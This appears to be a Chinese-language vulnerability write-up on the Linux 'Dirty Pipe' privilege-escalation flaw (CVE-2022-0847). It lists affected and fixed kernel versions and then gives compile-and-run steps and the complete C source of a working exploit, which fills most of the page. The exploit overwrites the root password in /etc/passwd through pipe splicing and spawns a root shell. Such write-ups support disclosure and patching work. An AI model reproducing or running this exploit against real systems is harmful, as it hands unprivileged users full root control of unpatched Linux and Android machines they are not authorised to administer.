Linux内核权限提升漏洞“DirtyPipe”（CVE-2022-0847）

0x01 漏洞描述

2022年３月７日，研究人员公开披露了Linux 内核中的一个权限提升漏洞（CVE-2022-0847，也称为“Dirty Pipe”），允许非特权用户注入和覆盖任意只读文件中的数据，导致权限提升，并最终获得root权限。该漏洞影响了 Linux Kernel 5.8 及更高版本，甚至影响了Android设备。

0x02 漏洞影响范围

影响范围：5.8 <= Linux 内核版本 < 5.16.11 / 5.15.25 / 5.10.102

0x03 漏洞复现

gcc exploit.c -o exp

./exploit

注意此脚本会修改root密码，脚本会自动备份在/tmp/passwd.bak，还原即可。

0x04 exploit.c

#define _GNU_SOURCE

#include <unistd.h>

#include <fcntl.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/stat.h>

#include <sys/user.h>


#ifndef PAGE_SIZE

#define PAGE_SIZE 4096

#endif

static void prepare_pipe(int p[2])

{

       if (pipe(p)) abort();


       const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);

       static char buffer[4096];



       for (unsigned r = pipe_size; r > 0;) {

            unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;

            write(p[1], buffer, n);

            r -= n;

       }


       for (unsigned r = pipe_size; r > 0;) {

           unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;

           read(p[0], buffer, n);

           r -= n;

       }



}


int main() {

    const char *const path = "/etc/passwd";

          printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n");

          FILE *f1 = fopen("/etc/passwd", "r");

          FILE *f2 = fopen("/tmp/passwd.bak", "w");

          if (f1 == NULL) {

                printf("Failed to open /etc/passwd\n");

                exit(EXIT_FAILURE);

          } else if (f2 == NULL) {

                 printf("Failed to open /tmp/passwd.bak\n");

                 fclose(f1);

                 exit(EXIT_FAILURE);

          }


                char c;

                while ((c = fgetc(f1)) != EOF)

                   fputc(c, f2);

               fclose(f1);

               fclose(f2);

         loff_t offset = 4; // after the "root"

         const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron

              printf("Setting root password to \"aaron\"...\n");

          const size_t data_size = strlen(data);

         if (offset % PAGE_SIZE == 0) {

                fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");

                return EXIT_FAILURE;

           }


          const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;

          const loff_t end_offset = offset + (loff_t)data_size;

          if (end_offset > next_page) {

               fprintf(stderr, "Sorry, cannot write across a page boundary\n");

               return EXIT_FAILURE;

           }


          const int fd = open(path, O_RDONLY); // yes, read-only! :-)

          if (fd < 0) {

                perror("open failed");

                return EXIT_FAILURE;

          }


           struct stat st;

           if (fstat(fd, &st)) {

                 perror("stat failed");

                 return EXIT_FAILURE;

          }  


           if (offset > st.st_size) {

                 fprintf(stderr, "Offset is not inside the file\n");

                 return EXIT_FAILURE;

          }


           if (end_offset > st.st_size) {

                 fprintf(stderr, "Sorry, cannot enlarge the file\n");

                 return EXIT_FAILURE;

            }

            int p[2];

            prepare_pipe(p);

            --offset;

            ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);

            if (nbytes < 0) {

                 perror("splice failed");

                 return EXIT_FAILURE;

            }

            if (nbytes == 0) {

                  fprintf(stderr, "short splice\n");

                  return EXIT_FAILURE;

            }


           nbytes = write(p[1], data, data_size);

          if (nbytes < 0) {

                perror("write failed");

                return EXIT_FAILURE;

           }

          if ((size_t)nbytes < data_size) {

                 fprintf(stderr, "short write\n");

                  return EXIT_FAILURE;

           }

          char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \""

                         "echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"

                         "cp /tmp/passwd.bak /etc/passwd;"

                         "echo \\\"Done! Popping shell... (run commands now)\\\";"

                         "/bin/sh;"

                 "\" root"};

                  execv("/bin/sh", argv);

                 printf("system() function call seems to have failed :(\n");

          return EXIT_SUCCESS;

}

0x05 修复建议

Linux 内核 >= 5.16.11

Linux 内核 >= 5.15.25

Linux 内核 >= 5.10.102

0x06 演示

0x07 相关资料

漏洞分析：https://zhuanlan.kanxue.com/article-17911.htm